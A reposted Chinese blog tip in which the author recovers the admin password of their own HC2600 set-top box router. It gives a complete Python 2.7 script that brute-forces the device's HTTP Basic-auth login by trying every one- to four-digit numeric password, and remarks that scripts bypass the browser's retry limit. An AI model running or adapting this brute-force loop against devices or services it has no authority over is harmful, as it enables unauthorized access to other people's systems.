[小技巧] Python 腳本暴力破解 HC2600 機頂盒管理密碼


家里最近接入了廣電有線電視,配了三個創維 HC2600 機頂盒,並且每個機頂盒還帶有無線路由器功能。

免費贈送 Internet 接入服務倒也沒什么,不過機頂盒內置的 WIFI 實在有點寒酸:只支持 2.4 GHz 頻段下 802.11n 150 Mbps 速率的傳輸。2.4 GHz 頻段本來就很擁擠,用戶體驗並不好,要是和支持 802.11 ac 的雙頻無線路由器混用的話,恐怕反而會因為干擾起到反作用。

然而要對 HC2600 機頂盒作任何配置修改,都需要管理員密碼。網上搜索到 HC2600 的管理員用戶名貌似是 admin (后來證實也的確如此),但是密碼則無法確定。

所以我就編寫了一個 Python 腳本進行暴力嘗試。破解步驟如下:

首先把電腦通過網線連接到機頂盒的 Ethernet 接口,電腦會通過 DHCP 自動獲取得到 IP 地址。

然后安裝最新版的 Python 2.7,並且新建一個文件 tvbox.py 輸入以下內容:

import base64, socket, urllib2

def login(url, username, password):
    while True:
        try:
            request1 = urllib2.Request(url)
            response1 = urllib2.urlopen(request1, timeout = 2) # 2 seconds
        except socket.timeout, e: # timeout handler for Python 2.7
            print "Login timedout"
            continue
        except urllib2.URLError, e:
            if e.code != 401:
                raise
            else:
                break

    while True:
        try:
            request2 = urllib2.Request(url)
            base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')
            request2.add_header("Authorization", "Basic %s" % base64string)
            response2 = urllib2.urlopen(request2, timeout = 2) # 2 seconds
            return True
        except socket.timeout, e: # timeout handler for Python 2.7
            print "Login timedout"
            continue
        except urllib2.URLError, e:
            if e.code == 401:
                return False

def main():
    for length in range(1, 5):
        end = 10 ** length

        print "Trying length %d (start = 0, end = %d)" % (length, end)

        for i in range(0, end):
            pattern = "%%0%dd" % length
            password = pattern % i

            if login("http://192.168.99.1", "admin", password):
                print "Password found: %s" % password
                break
            else:
                print "%s" % password

main()

上面的文件中,假定機頂盒中路由器的地址是 192.168.99.1,如果你的配置不同,需要修改  tvbox.py 中第 41 行代碼。

確定無誤后,運行 tvbox.py 即可。

上面的腳本嘗試了 0-9、00-99、000-999、0000-9999 這 11110 個純數字密碼,目測破解速度在每秒 100 次左右。

PS:如果使用瀏覽器嘗試登錄,密碼錯誤三次后需要刷新才能繼續嘗試。這是瀏覽器設定的限制,使用腳本的話並沒有這樣的限制。

……

結果出乎意料,很快密碼就出來了:0000,多虧了安裝人員圖省事。要是真的要掃遍 8 位純數字密碼的所有可能性,恐怕要花十幾天。

小提示:上面的腳本只適用於 Python 2.7,如果你用的是其它版本,可能需要對代碼做少許修改。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM